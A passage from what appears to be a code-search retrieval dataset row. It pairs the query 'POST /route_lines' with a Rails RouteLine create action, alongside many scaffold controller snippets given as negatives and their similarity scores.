"def new\n @line = Line.new\n authorize! :new, @line\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line }\n end\n end",
"def generate_routes\n\trequire 'csv'\n\tinclude HTTParty\n\trequire 'json'\n\tresponse = HTTParty.get('http://citppuc.cloudapp.net/api/lineas')\n\tbody = JSON.parse(response.body)\n\tCSV.open('csv/aplicacion/routes.csv', 'w') do |csv|\n\t\tbody.each do |item|\n\t\t\tputs \"Agragando ruta: \"+item[\"codigo_linea\"]\n\t\t\tcsv << [item[\"codigo_linea\"], 0, 'FFFFFF']\n\t\tend\n\tend\nend",
"def new\n @estimate_line_item = EstimateLineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @estimate_line_item }\n end\n end",
"def new\n @flight = Flight.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @flight }\n end\n end",
"def create\n @route = Route.new(params[:route])\n\n respond_to do |format|\n if @route.save\n flash[:notice] = 'Route was created successfully.'\n format.html { redirect_to routes_path }\n format.xml { render :xml => @route, :status => :created, :location => @route }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @route.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @subway = Subway.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @subway }\n end\n end",
"def new\n @lineup = Lineup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lineup }\n end\n end",
"def new\r\n @route_detail = RouteDetail.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @route_detail }\r\n end\r\n end",
"def new\r\n @route_detail = RouteDetail.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @route_detail }\r\n end\r\n end",
"def new\n @pneighbour = Pneighbour.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pneighbour }\n end\n end",
"def new\n respond_to do |format|\n format.xml { render :xml => @schedule }\n end\n end",
"def new\n @airline = Airline.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @airline }\n end\n end",
"def create\n @route = Route.new(params[:route])\n\n respond_to do |format|\n if @route.save\n format.html { redirect_to(@route, :notice => 'Route was successfully created.') }\n format.xml { render :xml => @route, :status => :created, :location => @route }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @route.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @node = Node.scopied.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end",
"def new\n @sample_line = SampleLine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sample_line }\n end\n end",
"def new\n @trace = Trace.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @trace }\n end\n end",
"def new\n @manufacturer_line = ManufacturerLine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @manufacturer_line }\n end\n end",
"def new\n @weekline = Weekline.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @weekline }\n end\n end",
"def new\n @match = Match.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @match }\n end\n end",
"def new\n @match = Match.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @match }\n end\n end",
"def new\n @match = Match.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @match }\n end\n end",
"def new\n @path = Path.new({:layer => @layer})\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @path }\n end\n end",
"def new\n @omatsuri = Omatsuri.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @omatsuri }\n end\n end",
"def new\n @routing = Routing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @routing }\n end\n end",
"def show\n @route = Route.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @route }\n end\n end",
"def show\n @route = Route.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @route }\n end\n end",
"def show\n @line = Line.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @line }\n end\n end",
"def new\n @invent_journal_line = InventJournalLine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invent_journal_line }\n end\n end",
"def new\n @shipping_line = ShippingLine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @shipping_line }\n end\n end",
"def new\n @visarequest = Visarequest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @visarequest }\n end\n end",
"def new\n @line = ReportingForms::Tanimoto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line }\n end\n end",
"def new\n @sentence = Sentence.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sentence }\n end\n end",
"def new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @invoice }\n end\n end",
"def new\n @incoming_text = IncomingText.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @incoming_text }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ontology }\n end\n end",
"def new\n @snap = Snap.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @snap }\n end\n end",
"def new\n @rssnew = Rssnews.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @rssnew }\n end\n end",
"def show\n\t\t@route = Route.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.xml { render :xml => @route }\n\t\tend\n\tend",
"def show\n @linea = Linea.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @linea }\n end\n end",
"def new\n @route = Route.new\n end",
"def new_rest\n @entry_item = EntryItem.new\n\n respond_to do |format|\n #format.html # new.html.erb\n format.xml { render :xml => @entry_item }\n end\n end"
] |
[
"0.69570416",
"0.69570416",
"0.68748254",
"0.67634356",
"0.6761244",
"0.67308766",
"0.67308766",
"0.6653637",
"0.66255766",
"0.654666",
"0.6496977",
"0.64524895",
"0.6439039",
"0.6406683",
"0.63371944",
"0.63088495",
"0.62760556",
"0.6266011",
"0.625445",
"0.6241583",
"0.6170276",
"0.61686826",
"0.61644673",
"0.61644673",
"0.61644673",
"0.6146138",
"0.6129063",
"0.6128252",
"0.61182517",
"0.61182517",
"0.61182517",
"0.61182517",
"0.61182517",
"0.61182517",
"0.61182517",
"0.61182517",
"0.61182517",
"0.61182517",
"0.6106546",
"0.60995585",
"0.60734904",
"0.6035588",
"0.5986228",
"0.59793293",
"0.5974825",
"0.5970402",
"0.5936297",
"0.5901476",
"0.58865225",
"0.5853614",
"0.5838895",
"0.5825353",
"0.5821811",
"0.5817178",
"0.5808056",
"0.5801518",
"0.5795524",
"0.5792274",
"0.5785797",
"0.57834095",
"0.5781413",
"0.57806677",
"0.5777801",
"0.5761403",
"0.5751804",
"0.5751286",
"0.57284623",
"0.57284623",
"0.5721079",
"0.5708896",
"0.570551",
"0.5676568",
"0.56757796",
"0.5670559",
"0.56636167",
"0.5642604",
"0.5636707",
"0.56330025",
"0.56330025",
"0.56330025",
"0.56329",
"0.5629558",
"0.5615854",
"0.5613174",
"0.5613174",
"0.56072694",
"0.55991495",
"0.5599114",
"0.5596403",
"0.5596243",
"0.5594005",
"0.5590462",
"0.55893016",
"0.5576166",
"0.5574938",
"0.555018",
"0.55311596",
"0.55303985",
"0.5526371",
"0.5524287"
] |
0.77483696
|
0
|
POST /route_lines POST /route_lines.xml
|
def create
@route_line = RouteLine.new(params[:route_line])
respond_to do |format|
if @route_line.save
format.html { redirect_to(@route_line, :notice => t('record_created')) }
format.xml { render :xml => @route_line, :status => :created, :location => @route_line }
else
format.html { render :action => "new" }
format.xml { render :xml => @route_line.errors, :status => :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def post_route(route, message)\n raise TypeError unless route.is_a? Route\n @changeset = @api.create_changeset(message, tags={'created_by'=>'ITCR'})\n ways_list = []\n nodes_list = create_node_list(route.path)\n\n until nodes_list.empty? # For node's maximum limit of a way\n way_nodes = nodes_list.take(MAX_NODES)\n nodes_list = nodes_list.drop(MAX_NODES)\n way_id = create_way(way_nodes)\n ways_list << way_id\n end\n\n relation = create_relation(ways_list) # Link ways to relation\n relation = add_stops(relation, route.stops) # Add bus stops to relation\n\n @api.save(relation, @changeset) # Save relation using the API\n puts 'Relation created succesfuly.'\n @api.close_changeset(@changeset)\n @changeset.id\n end",
"def new\n @route_line = RouteLine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @route_line }\n end\n end",
"def create\n @linea = Linea.new(params[:linea])\n\n respond_to do |format|\n if @linea.save\n format.html { redirect_to(@linea, :notice => 'Linea creada correctamente.') }\n format.xml { render :xml => @linea, :status => :created, :location => @linea }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @linea.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def generate_route_shapes\n\trequire 'csv'\n\tinclude HTTParty\n\trequire 'json'\n\tresponse = HTTParty.get('http://citppuc.cloudapp.net/api/lineas')\n\tbody = JSON.parse(response.body)\n\tCSV.open('csv/aplicacion/routeShapes.csv', 'w') do |csv|\n\t\tbody.each do |item|\n\t\t\tjson = nil\n\t\t\twhile json.nil?\n\t\t\t\tresponse2 = HTTParty.get('http://citppuc.cloudapp.net/api/lineas/'+item[\"linea_id\"].to_s)\n\t\t\t\tnext if response2.body == ''\n\t\t\t\tjson = JSON.parse(response2.body)\n\t\t\tend\n\t\t\tif json[\"secuencias\"]\n\t\t\t\tjson[\"secuencias\"].each do |sec|\n\t\t\t\t\tputs \"Agregando secuencia \"+sec[\"codigo_secuencia\"]\n\t\t\t\t\tif sec[\"horarios\"]\n\t\t\t\t\t\tsec[\"horarios\"].each do |h|\n\t\t\t\t\t\t\tdias = ''\n\t\t\t\t\t\t\th[\"dias\"].each do |dia|\n\t\t\t\t\t\t\t\tdias << dia+','\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tcsv << [ item[\"codigo_linea\"], sec[\"codigo_secuencia\"], h[\"hora_inicio\"], h[\"hora_termino\"], dias]\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\tputs \"No tiene horarios!\"\n\t\t\t\t\tend\n\n\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tputs \"No tiene secuencias\"\n\t\t\tend\n\n\t\tend\n\tend\nend",
"def create\n @line = Line.new(line_params)\n\n respond_to do |format|\n if @line.save\n format.html { redirect_to @line, notice: \"Line was successfully created.\" }\n format.json { render :show, status: :created, location: @line }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def generate_routes\n\trequire 'csv'\n\tinclude HTTParty\n\trequire 'json'\n\tresponse = HTTParty.get('http://citppuc.cloudapp.net/api/lineas')\n\tbody = JSON.parse(response.body)\n\tCSV.open('csv/aplicacion/routes.csv', 'w') do |csv|\n\t\tbody.each do |item|\n\t\t\tputs \"Agragando ruta: \"+item[\"codigo_linea\"]\n\t\t\tcsv << [item[\"codigo_linea\"], 0, 'FFFFFF']\n\t\tend\n\tend\nend",
"def create\n @line = Line.new(line_params)\n\n respond_to do |format|\n if @line.save\n format.html { redirect_to new_line_path, notice: 'Line was successfully created. 5 points are awarded to your score.' }\n format.json { render json: @line, status: :created, location: @line }\n else\n format.html { render action: \"new\" }\n format.json { render json: @line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @route_line = RouteLine.find(params[:id])\n\n respond_to do |format|\n if @route_line.update_attributes(params[:route_line])\n format.html { redirect_to(@route_line, :notice => t('record_updated')) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @route_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @line_item = @order.line_items.new(line_item_params)\n\n if @line_item.save\n render json: @line_item, status: :created, location: [@order, @line_item]\n else\n render json: @line_item.errors, status: :unprocessable_entity\n end\n end",
"def add_route(station, line)\n Neo4j::Transaction.run do\n rel = Neo4j::Relationship.create(:route, self, station)\n rel[:distance] = 1.0\n rel[:line] = line\n end\n\n self\n end",
"def create\r\n @lineitem = Lineitem.new(params[:lineitem])\r\n\r\n respond_to do |format|\r\n if @lineitem.save\r\n flash[:notice] = 'Lineitem was successfully created.'\r\n format.html { redirect_to(@lineitem) }\r\n format.xml { render :xml => @lineitem, :status => :created, :location => @lineitem }\r\n else\r\n format.html { render :action => \"new\" }\r\n format.xml { render :xml => @lineitem.errors, :status => :unprocessable_entity }\r\n end\r\n end\r\n end",
"def create\n @order_line = OrderLine.new(params[:order_line])\n\n respond_to do |format|\n if @order_line.save\n format.html { redirect_to @order_line, notice: 'Order line was successfully created.' }\n format.json { render json: @order_line, status: :created, location: @order_line }\n else\n format.html { render action: \"new\" }\n format.json { render json: @order_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_route(route={})\n request :post, '/routes', route\n end",
"def create\n @tagline = Tagline.new(params[:tagline])\n\n respond_to do |format|\n if @tagline.save\n flash[:notice] = 'Tagline was successfully created.'\n format.html { redirect_to(@tagline) }\n format.xml { render :xml => @tagline, :status => :created, :location => @tagline }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @tagline.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def destroy\n @route_line = RouteLine.find(params[:id])\n @route_line.destroy\n\n respond_to do |format|\n format.html { redirect_to(route_lines_url) }\n format.xml { head :ok }\n end\n end",
"def create\n @route = Route.new(params[:route])\n\n respond_to do |format|\n if @route.save\n flash[:notice] = 'Route was created successfully.'\n format.html { redirect_to routes_path }\n format.xml { render :xml => @route, :status => :created, :location => @route }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @route.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @route = Route.new(params[:route])\n\n route_html = Nokogiri::HTML(open(@route.url))\n\n @activity_id = @route.url.split('/').last()\n @api_url = \"https://www.strava.com/api/v3/activities/\" + @activity_id + \"?access_token=9a3dd1938530a0db29fc42f4eedc4ff975e78190\"\n\n parsed_uri = URI.parse(@api_url)\n http = Net::HTTP.new(parsed_uri.host, parsed_uri.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n request = Net::HTTP::Get.new(parsed_uri.request_uri)\n response = http.request(request)\n parsed_response = JSON.parse(response.body)\n\n @route.distance = ((parsed_response[\"distance\"].to_f * 0.000621371).round(2)).to_s #Convert meters to miles\n @route.elevation = ((parsed_response[\"total_elevation_gain\"] *3.28084).round(2)).to_s #Convert meters to feet\n @route.map_polyline = parsed_response[\"map\"][\"summary_polyline\"]\n\n if @route.name.empty?\n @route.name = parsed_response[\"name\"]\n end\n\n respond_to do |format|\n if @route.save\n format.html { redirect_to routes_url, notice: 'Your route was submitted successfully, and will be verified by an officer shortly.' }\n format.json { render json: @route, status: :created, location: @route }\n else\n format.html { render action: \"new\" }\n format.json { render json: @route.errors, status: :unprocessable_entity }\n end\n end\n end",
"def line_params\n params.require(:line).permit(:next_node_id, :description)\n end",
"def create\n @line_detail = LineDetail.new(line_detail_params)\n generate_id\n respond_to do |format|\n if @line_detail.save\n format.html { redirect_to @line_detail, notice: 'Line detail was successfully created.' }\n format.json { render action: 'show', status: :created, location: @line_detail }\n else\n format.html { render action: 'new' }\n format.json { render json: @line_detail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @time_line = TimeLine.new(time_line_params)\n\n respond_to do |format|\n if @time_line.save\n format.html { redirect_to @time_line, notice: 'Time line was successfully created.' }\n format.json { render :show, status: :created, location: @time_line }\n else\n format.html { render :new }\n format.json { render json: @time_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @route = Route.new(params[:route])\n\n respond_to do |format|\n if @route.save\n format.html { redirect_to(@route, :notice => 'Route was successfully created.') }\n format.xml { render :xml => @route, :status => :created, :location => @route }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @route.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @flightline = Flightline.new(params[:flightline])\n\n respond_to do |format|\n if @flightline.save\n format.html { redirect_to(@flightline, :notice => 'Flightline was successfully created.') }\n format.xml { render :xml => @flightline, :status => :created, :location => @flightline }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @flightline.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @line_item = LineItem.new(params[:line_item])\n\n respond_to do |format|\n if @line_item.save\n format.html { redirect_to @line_item, notice: 'Line item was successfully created.' }\n format.json { render json: @line_item, status: :created, location: @line_item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def linehaul_params\n params.require(:linehaul).permit(:route)\n end",
"def create \n @line_item = LineItem.new(line_item_params)\n respond_to do |format|\n if @line_item.save\n format.html { redirect_to '/line_items', notice: \"Line item was successfully created.\" }\n format.json { render :show, status: :created, location: @line_item }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @transport_line = TransportLine.new(params[:transport_line])\n\n respond_to do |format|\n if @transport_line.save\n flash[:notice] = 'TransportLine was successfully created.'\n format.html { redirect_to(@transport_line) }\n format.xml { render :xml => @transport_line, :status => :created, :location => @transport_line }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @transport_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @item_line = ItemLine.new(params[:item_line])\n\n respond_to do |format|\n if @item_line.save\n format.html { redirect_to @item_line, notice: 'Item line was successfully created.' }\n format.json { render json: @item_line, status: :created, location: @item_line }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order_line = OrderLine.new(order_line_params)\n \n if @order_line.order_id.nil?\n @order_line.order_id = current_order.id\n @order_line.value = @order_line.product.price*@order_line.quantity\n @order_line.status = OrderLine.status_requested\n end\n respond_to do |format|\n if @order_line.save\n # inform client\n WebsocketRails['order_lines_'+@order_line.order.id.to_s].trigger 'new', {:order => @order_line.order, :order_line => @order_line, :product => @order_line.product}\n format.html { redirect_to @order_line, notice: 'Order line was successfully created.' }\n format.json { render :show, status: :created, location: @order_line }\n else\n format.html { render :new }\n format.json { render json: @order_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @completed_route = CompletedRoute.new(params[:completed_route])\n\n respond_to do |format|\n if @completed_route.save\n format.html { redirect_to(@completed_route, :notice => 'Completed route was successfully created.') }\n format.xml { render :xml => @completed_route, :status => :created, :location => @completed_route }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @completed_route.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @textline = Textline.new(textline_params)\n\n respond_to do |format|\n if @textline.save\n format.html { redirect_to @textline, notice: 'Textline was successfully created.' }\n format.json { render :show, status: :created, location: @textline }\n else\n format.html { render :new }\n format.json { render json: @textline.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @line_liver = LineLiver.new(line_liver_params)\n\n respond_to do |format|\n if @line_liver.save\n format.html { redirect_to @line_liver, notice: 'Line liver was successfully created.' }\n format.json { render :show, status: :created, location: @line_liver }\n else\n format.html { render :new }\n format.json { render json: @line_liver.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @texi_route = TexiRoute.new(texi_route_params)\n\n respond_to do |format|\n if @texi_route.save\n format.html { redirect_to @texi_route, notice: 'Texi route was successfully created.' }\n format.json { render :show, status: :created, location: @texi_route }\n else\n format.html { render :new }\n format.json { render json: @texi_route.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @estimate_line_item = EstimateLineItem.new(params[:estimate_line_item])\n\n respond_to do |format|\n if @estimate_line_item.save\n format.html { redirect_to(@estimate_line_item, :notice => 'Estimate line item was successfully created.') }\n format.xml { render :xml => @estimate_line_item, :status => :created, :location => @estimate_line_item }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @estimate_line_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @linea = Linea.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @linea }\n end\n end",
"def route_params\n params.require(:route).permit(:title, :workout_id, :description, :estimated_duration, :distance, :elevation_gain, :polyline, :activity)\n end",
"def create\n @invoice_adjustment_line = InvoiceAdjustmentLine.new(params[:invoice_adjustment_line])\n\n respond_to do |format|\n if @invoice_adjustment_line.save\n flash[:notice] = 'InvoiceAdjustmentLine was successfully created.'\n format.html { redirect_to(@invoice_adjustment_line) }\n format.xml { render :xml => @invoice_adjustment_line, :status => :created, :location => @invoice_adjustment_line }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @invoice_adjustment_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @lineaedesal = Lineaedesal.new(params[:lineaedesal])\n\n respond_to do |format|\n if @lineaedesal.save\n format.html { redirect_to(@lineaedesal, :notice => 'Lineaedesal was successfully created.') }\n format.xml { render :xml => @lineaedesal, :status => :created, :location => @lineaedesal }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @lineaedesal.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @route = Route.new(route_params)\n respond_to do |format|\n @route.validate\n if (@route.errors.keys - [:start_station_id, :end_station_id]).size == 0\n @route.save(validate: false)\n end\n if @route.save\n format.html { redirect_to @route, notice: 'Маршрут создан.' }\n format.json { render :show, status: :created, location: @route }\n else\n format.html { render :new }\n format.json { render json: @route.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @phone_line = PhoneLine.new(phone_line_params)\n\n respond_to do |format|\n if @phone_line.save\n format.html { redirect_to phone_lines_url, notice: 'Phone line was successfully created.' }\n format.json { render :show, status: :created, location: @phone_line }\n else\n format.html { render :new }\n format.json { render json: @phone_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @line = Line.new(line_params)\n @line.user = current_user\n @line.diagram = @diagram\n @line.node = @node\n\n respond_to do |format|\n if @result = @line.valid?\n begin\n Line.transaction do\n @line.save!\n end\n format.html { redirect_to @line, notice: 'Line was successfully created.' }\n format.json { render :show, status: :created, location: @line }\n format.js\n rescue => e\n render :text => e.message\n end\n else\n format.html { render :new }\n format.json { render json: @line.errors, status: :unprocessable_entity }\n format.js\n end\n end\n end",
"def line_params\n params.require(:line).permit(:name, :description, :user_id, :board_id)\n end",
"def add_route\n type = OrderType.find_by_name('route')\n \n hwb = Order.find(params[:id])\n \n data = params[\"route\"]\n data[\"parent_id\"] = params[:id]\n \n data[\"created_by\"] = self.current_user.account # <-- hardcoded to Transmance compnay id\n data[\"order_type_id\"] = type.id\n data[\"bill_to_id\"] = 1 # <-- hacked to Transmanage company id\n data[\"billing_method_id\"] = 1 # <-- read this from db!!!!!!!!!!!!!!\n data[\"shipping_method_id\"] = 1 # <-- hardcoded.\n data[\"pieces\"] = 1\n data[\"declared_value\"] = 0\n data[\"purpose\"] = ''\n data[\"weight\"] = 0\n data[\"shipping_commodity_id\"] = 1\n\n res = {\n :success => false,\n :data => [],\n :msg => ''\n }\n\n Order.transaction do \n # super can handle it from here...\n order = Order.create(data)\n \n # get OrderTypeEntity list\n entities = order.type.entities(:include => [:domain])\n \n case params[\"pickup_mode\"]\n when \"shipper\" \n params[\"shipper\"] = {\"company_id\" => Order.find(params[:id]).find_entity_by_type(\"shipper\").company.id}\n when \"carrier\"\n params[\"shipper\"] = {\"company_id\" => params[\"carrier\"][\"company_id\"]} \n end\n \n case params[\"delivery_mode\"]\n when \"carrier\"\n params[\"consignee\"] = {\"company_id\" => params[\"carrier\"][\"company_id\"]}\n end\n entities.each do |e| \n data = params[e.name] \n case e.name\n when \"shipper\"\n location = CompanyLocation.find(:first, \n :conditions => \"airport_id = #{params['origin_airport_id']} AND company_id = #{params['shipper']['company_id']}\"\n ) || Company.create_anonymous_location(params[\"shipper\"][\"company_id\"], hwb.find_entity_by_type('shipper').location)\n data[:company_location_id] = location.id\n data[:date_in] = params[\"carrier\"][\"date_in\"] + ' ' + params[\"carrier\"][\"time_in\"]\n when \"consignee\"\n location = CompanyLocation.find(:first, \n :conditions => \"airport_id = #{params['destination_airport_id']} AND company_id = #{params['consignee']['company_id']}\"\n ) || Company.create_anonymous_location(params[\"consignee\"][\"company_id\"], hwb.find_entity_by_type('consignee').location) \n data[:company_location_id] = location.id\n data[:date_in] = params[\"carrier\"][\"date_out\"] + ' ' + params[\"carrier\"][\"time_out\"]\n when \"carrier\" \n data[:company_location_id] = Company.find(params[\"carrier\"][\"company_id\"], :include => [:head_office]).head_office.id \n end\n data[:order_id] = order.id\n data[:order_type_entity_id] = e.id \n oe = OrderEntity.create(data)\n end\n \n res[:success] = true\n res[:data] = {:route => Order.render_route(order)}\n res[:msg] = 'Added order route' \n end\n\n render :json => res.to_json, :layout => false\n\n end",
"def line_params\r\n params.require(:line).permit(:name)\r\n end",
"def create\n @route = Route.create(route_args)\n\n respond_to do |format|\n if @route.save\n format.html { redirect_to @route, notice: 'Route was successfully created.' }\n format.json { render :show, status: :created, location: @route }\n else\n format.html { render :new }\n format.json { render json: @route.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cruise_line = CruiseLine.new(cruise_line_params)\n\n respond_to do |format|\n if @cruise_line.save\n format.html { redirect_to @cruise_line, notice: 'Cruise line was successfully created.' }\n format.json { render :show, status: :created, location: @cruise_line }\n else\n format.html { render :new }\n format.json { render json: @cruise_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @route = Route.new(params[:route])\n\n respond_to do |format|\n if @route.save\n format.html { redirect_to @route, notice: 'Route was successfully created.' }\n format.json { render json: @route, status: :created, location: @route }\n else\n format.html { render action: \"new\" }\n format.json { render json: @route.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_lines\n set_line(:receiving_line,OLE_QA::Framework::OLEFS::Receiving_Line)\n end",
"def submitNewRoute(routeId, edgeList)\n com = Sumo::Traci::Command_SetVariable.new(:route, :addRoute,\n routeId, edgeList) ;\n @traciClient.execCommands(com) ;\n end",
"def create\n @route = Route.new(route_params)\n\n respond_to do |format|\n if @route.save\n format.html { redirect_to @route, notice: 'Die Route wurde erfolgreich erstellt' }\n format.json { render :show, status: :created, location: @route }\n else\n format.html { render :new }\n format.json { render json: @route.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product_line = ProductLine.new(params[:product_line])\n\n respond_to do |format|\n if @product_line.save\n format.html { redirect_to(@product_line, :notice => 'ProductLine was successfully created.') }\n format.xml { render :xml => @product_line, :status => :created, :location => @product_line }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @product_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n params[:traceroute].each do |tr|\n Traceroute.create(:server => tr[:server], :local_ip => tr[:local_ip], :stdout => tr[:stdout], :stderr => tr[:stderr], :exit_status => tr[:exit_status], :timestamp => tr[:timestamp])\n end\n\n\n\n #puts \"hello #{params}\"\n #@hello = params\n #@hello.map { |k,v| puts \"#{k} is #{v}\" }\n #traceroute_params.each do |v|\n # traceroute = Traceroute.create(v)\n #end\n\n respond_to do |format|\n format.all { render :nothing => true, :status => 200 }\n end\n #@traceroute = Traceroute.new(params)\n\n #respond_to do |format|\n # if @traceroute.save\n # format.html { redirect_to @traceroute, notice: 'Traceroute was successfully created.' }\n # format.json { render action: 'show', status: :created, location: @traceroute }\n # else\n # format.html { render action: 'new' }\n # format.json { render json: @traceroute.errors, status: :unprocessable_entity }\n # end\n #end\n end",
"def create\n @traceroute = Traceroute.new(traceroute_params)\n\n respond_to do |format|\n if @traceroute.save\n flash[:notice] = 'traceroute was successfully created.'\n format.html { redirect_to @traceroute, notice: 'Traceroute was successfully created.' }\n format.json { render action: 'show', status: :created, location: @traceroute }\n else\n format.html { render action: 'new' }\n format.json { render json: @traceroute.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @route_line = RouteLine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @route_line }\n end\n end",
"def create\n @route = Route.new(route_params)\n\n respond_to do |format|\n if @route.save\n format.html { redirect_to @route, notice: 'Route was successfully created.' }\n format.json { render :show, status: :created, location: @route }\n else\n format.html { render :new }\n format.json { render json: @route.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @shipping_line = ShippingLine.new(params[:shipping_line])\n\n respond_to do |format|\n if @shipping_line.save\n format.html { redirect_to @shipping_line, :notice => 'Shipping line was successfully created.' }\n format.json { render :json => @shipping_line, :status => :created, :location => @shipping_line }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @shipping_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @contract_service_line = ContractServiceLine.new(contract_service_line_params)\n\n respond_to do |format|\n if @contract_service_line.save\n format.html { redirect_to @contract_service_line, notice: 'Contract service line was successfully created.' }\n format.json { render :show, status: :created, location: @contract_service_line }\n else\n format.html { render :new }\n format.json { render json: @contract_service_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @applied_line = AppliedLine.new(applied_line_params)\n\n respond_to do |format|\n if @applied_line.save\n format.html { redirect_to @applied_line, notice: 'Applied line was successfully created.' }\n format.json { render :show, status: :created, location: @applied_line }\n else\n format.html { render :new }\n format.json { render json: @applied_line.errors, status: :unprocessable_entity }\n end\n end\n end",
